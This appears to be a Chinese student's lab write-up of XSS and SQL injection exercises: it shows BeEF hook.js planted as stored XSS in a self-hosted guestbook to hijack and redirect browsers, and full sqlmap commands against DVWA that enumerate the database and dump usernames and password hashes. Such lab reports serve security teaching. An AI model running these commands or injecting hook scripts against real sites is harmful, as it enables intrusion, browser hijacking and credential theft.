试验三:XSS和SQL注入

试验前需要掌握的知识

下面内容是试验前你需要了解并掌握的知识,详细的内容可以移步到这篇博客中去学习:试验前的知识储备

XSS部分

1、什么是XSS
2 、什么是XSS攻击
3、 什么是Cookie
4、XSS漏洞的分类
5、XSS的防御

SQL注入部分

1、什么是SQL注入攻击
2、为何会有SQL注入攻击
3. 何时使用SQL注入攻击
4、MySQL简介
5、实施SQL注入攻击
6、防范SQL注入方法汇总


实验部分

实验目的:

了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。

系统环境:

Kali Linux 2、Windows Server

网络环境:

交换网络结构

实验工具:

Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

试验原理:

见试验前所需要掌握的知识


实验步骤

XSS部分:利用Beef劫持被攻击者客户端浏览器

1、利用AWVS扫描留言簿网站

首先我们需要下载好AWVS,并且配置好实验环境:

搭建GUESTBOOK留言簿网站

我们使用Windows Server搭建guestbook,首先在虚拟机中安装好Windows Server,然后点击开始按钮,选择管理工具选项卡,再点击信息服务管理系统。
在这里插入图片描述
然后右击网站选项卡,点击新建,再点击网站,见下图:
在这里插入图片描述
然后根据流程走,导入事先下载好的网站文件即可,见下图:
在这里插入图片描述
在这里插入图片描述
这里一定要选择没有被占用的端口:
在这里插入图片描述
点击浏览,找到对应文件点击确定即可:
在这里插入图片描述
这里是自己搭建用来做实验的全选就可以了:
在这里插入图片描述
然后我们右击刚刚搭建好的网站点击权限,再点击添加Everyone,权限给完全控制即可,见下图:

在这里插入图片描述
在这里插入图片描述
然后我们就可以使用http://127.0.0.1:设置好的端口号/message.asp打开我们的网站了,这里我用的8888端口,所以使用的是http://127.0.0.1:8888/message.asp来登陆的网站:
在这里插入图片描述

使用AWVS扫描

然后我们使用安装好的AWVS来扫描刚刚搭建好的网站,这里要注意用于扫描的主机应该与被扫描的主机位于同一网段下,否则你是扫不到他的:
注:这里扫描的网址中IP地址要为Windows Server 2003的IP地址,8888是端口号大家都懂吧
使用的语句是http://192.168.154.233:8888/index.asp
在这里插入图片描述
然后我们可以发现在error.asp和add.asp分别都有一个XSS漏洞:

在这里插入图片描述
在这里插入图片描述

2、 Kali使用beef生成恶意代码

安装beef

大家的kali里可能会没有安装beef,不过不用担心我们可以通过下述语句来安装:
首先:sudo apt-get install beef-xss
然后切换到这个文件夹中:cd /usr/share/beef-xss
输入:./beef即可启动
但是!!!
第一次的时候可能会提醒你不要使用默认的账号和密码,就像下面这样:
在这里插入图片描述
在使用这些工具时可能会发生一些错误,即使你可能会一头雾水也请不要惊慌,因为嘛,你看系统不是给了我们十分明确的提示吗?实在再不懂可以去百度上搜搜,或者问问身边的大佬…办法总是有的。
话不多说,这里我们按照所给出的提示进入到文件中去修改一下默认的密码:
用vim打开一下:sudo vim /etc/beef-xss/config.yaml
在这里插入图片描述
根据提示按E进行编辑,按下’I’进入修改,我们将默认密码和账号进行修改:
在这里插入图片描述
最后输入:wq按下回车,进行保存并退出:
在这里插入图片描述
这里我将密码和账号都设置为admin,在完成上述操作后我们输入./beef
在这里插入图片描述
可以看到我门已成功开启了beef,接着我们去浏览器中输入:http://127.0.0.1:3000/ui/authentication然后跳转到beef的登录界面,输入我们修改后的密码:
在这里插入图片描述
登录后我们访问一下hook.js里面有自带的恶意代码

在这里插入图片描述
只要访问到该网站,浏览器就会被劫持。到这里我们已经成功的使用beef生成恶意代码了,怎么是不是很简单?毕竟代码不要咱写嘛。

3、访问http://留言簿网站/message.asp并写入恶意代码

现在我们使用kali登陆到留言簿网站,这里一定要保证我们的攻击方与被攻击方处于同一网段下,也就是能够ping通的状态下。
这里我们要使用别攻击者的ip来登陆留言簿网站:http://192.168.154.233:8888/Message.asp
然后进行攻击,我们将恶意代码写进去并评论:
在这里插入图片描述
这里可以看到在评论中我们的代码不见了,说明它成功加载到进去了。在这里插入图片描述
可以看到我再去浏览该页面时这里会弹出一个运行脚本的对话框,现在开始所有浏览该网页的浏览器都会被劫持,我们到beef中去可以看到我们的浏览器已经被劫持:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、劫持浏览器并设置被劫持网站

按照实验中的要求是要我们将该网站重定向为我们学校的官网,这里出于隐私保护我就不用自己学校官网的地址了,这里我将它换为了哔哩哔哩的网址:
首先我们先选择被劫持的的浏览器,然后转到Commands选项卡,再选择重定向向浏览器,在右边的地址栏中将地址换成我们所要替换的地址:https://www.bilibili.com/,然后就可以看到被劫持的浏览器就会跳转到替换后的网页中去:
在这里插入图片描述

5、实验中XSS攻击属于哪种类型

本实验中的XSS攻击类型属于注入型XSS,
注入型XSS攻击原理:此类XSS漏洞是指,用户输入的数据(恶意代码)可以“存储”在服务端,只要有人访问这个包含有存储型XSS代码的页面,XSS脚本就会在他们的浏览器中执行,这种XSS具有很强的稳定性。所以也被称做,“持久型XSS”。

SQL注入部分:DVWA+SQLmap+Mysql注入实战

1、实验环境的搭建

Metasploitable2中有搭建好的DVWA平台,所以我们直接打开Metasploitable2虚拟机,使用http://Metasploitable的IP/dvwa即可登录到DVWA平台。
或者你还可以自己搭建一个DVWA平台,这里我放上一个自己搭建DVWA的博客如何搭建DVWA漏洞练习平台?
这里我们就使用Metasploitable2搭建好的就可以了,初始登陆账号为admin,密码为password

在这里插入图片描述
然后在安全等级中选择等级为low的难度开始试验:

在这里插入图片描述

在输入框输入1,返回
ID: 1
First name: admin
Surname: admin
返回正常;
再次输入1’,报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
此时可以断定有SQL注入漏洞,

在这里插入图片描述
在这里插入图片描述

下面使用sqlmap进行攻击

SQLMAP基本语法:

  • u:指定目标URL
  • cookie:当前会话的cookies值
  • b:获取数据库类型,检查数据库管理系统标识
  • current-db:获取当前数据库
  • current-user:获取当前数据库使用的用户
  • string:当查询可用来匹配页面中的字符串
  • users:枚举DBMS用户
  • password:枚举DBMS用户密码hash

2、枚举当前使用的数据库名称和用户名

根据上面列举的SQLMAP基本语法我们首首先要使用-u+url来指定目标,接着我们要使用--cookie+我们抓到的cookie来验证我们的身份,最后我们使用--current-db来访问当前的数据库。
所以最后我们使用的指令是:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --current-db

如图我们当前的数据库为:dvwa
在这里插入图片描述
接着我们还需要查询一下当前的使用者,这里我们只需要对上面的语句进行一点点修改即可,把最后的访问数据--current-db改为--current-user即可。
所以我们使用的语句是:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --current-user
从下图中可以看到当前的使用者是:root@%
在这里插入图片描述

3、枚举当前数据库

这里再介绍一下SQLMAP的其他几个用法

  • –dbs:枚举当前数据库
  • -D 数据库名:指定数据库
  • –tables:枚举指定数据库的所有表
  • -D:指定的数据库
  • -T:指定数据库中的数据表
  • –columns:获取列的信息
  • -C:枚举数据表中的列
  • –dump:存储数据表项

首先我们枚举一下数据库,使用--dbs来枚举当前数据库:
sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --dbs

这时候要注意一些问题:我们需要在sqlmap-dev目录下执行命令,当系统询问你yes还是no时,我们输入y或n时是不区分大小写的,输入完成后按下回车即可。
在这里插入图片描述

4、枚举数据库和指定数据库的数据表

我们先使用-D+数据库名称定位数据库,然后使用--tables列举出dvwa数据库下的所有表。
具体语句如下:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa --tables
在这里插入图片描述

5、获取指定数据库和表中所有列的信息

这里我们先使用-D+数据库名称定位数据库,然后使用-T user指定数据库中的数据表user,然后使用--columns来获取数据库和表中所有列的信息。
具体语句如下:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa -T users --columns

在这里插入图片描述

枚举指定数据表中的所有用户名与密码,并down到本地

在上一步中我们得到了user表中所有列的信息,在列的信息中我们可以看到有user和password两个列,看名字我们大胆猜测我们所需要的用户名和密码就在这两者之中。所以我们使用-C来枚举数据表中的列,然后再使用--dump来将得到的数据存储到本地。
具体命令如下:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa -T users -C user,password --dump
可以看到表中的数据就是我们所希望的到的用户名与密码。
在这里插入图片描述
然后我们根据给的路径去在文件中打开保存下来的文件:
在这里插入图片描述
我们使用cd命令切换到文件所处的目录下,然后使用cat file1 +文件名打开该文件:
在这里插入图片描述
可以看到我们已经成功的将用户名与密码保存到本地了。

总结

在这次试验中我学习到了:

  • 什么是XSS攻击
  • XSS攻击的类型
  • AWVS的基本使用
  • 什么是SQL注入攻击
  • 一些简单的XSS攻击和SQL注入攻击

猜你喜欢

转载自blog.csdn.net/yghlqgt/article/details/110147117
今日推荐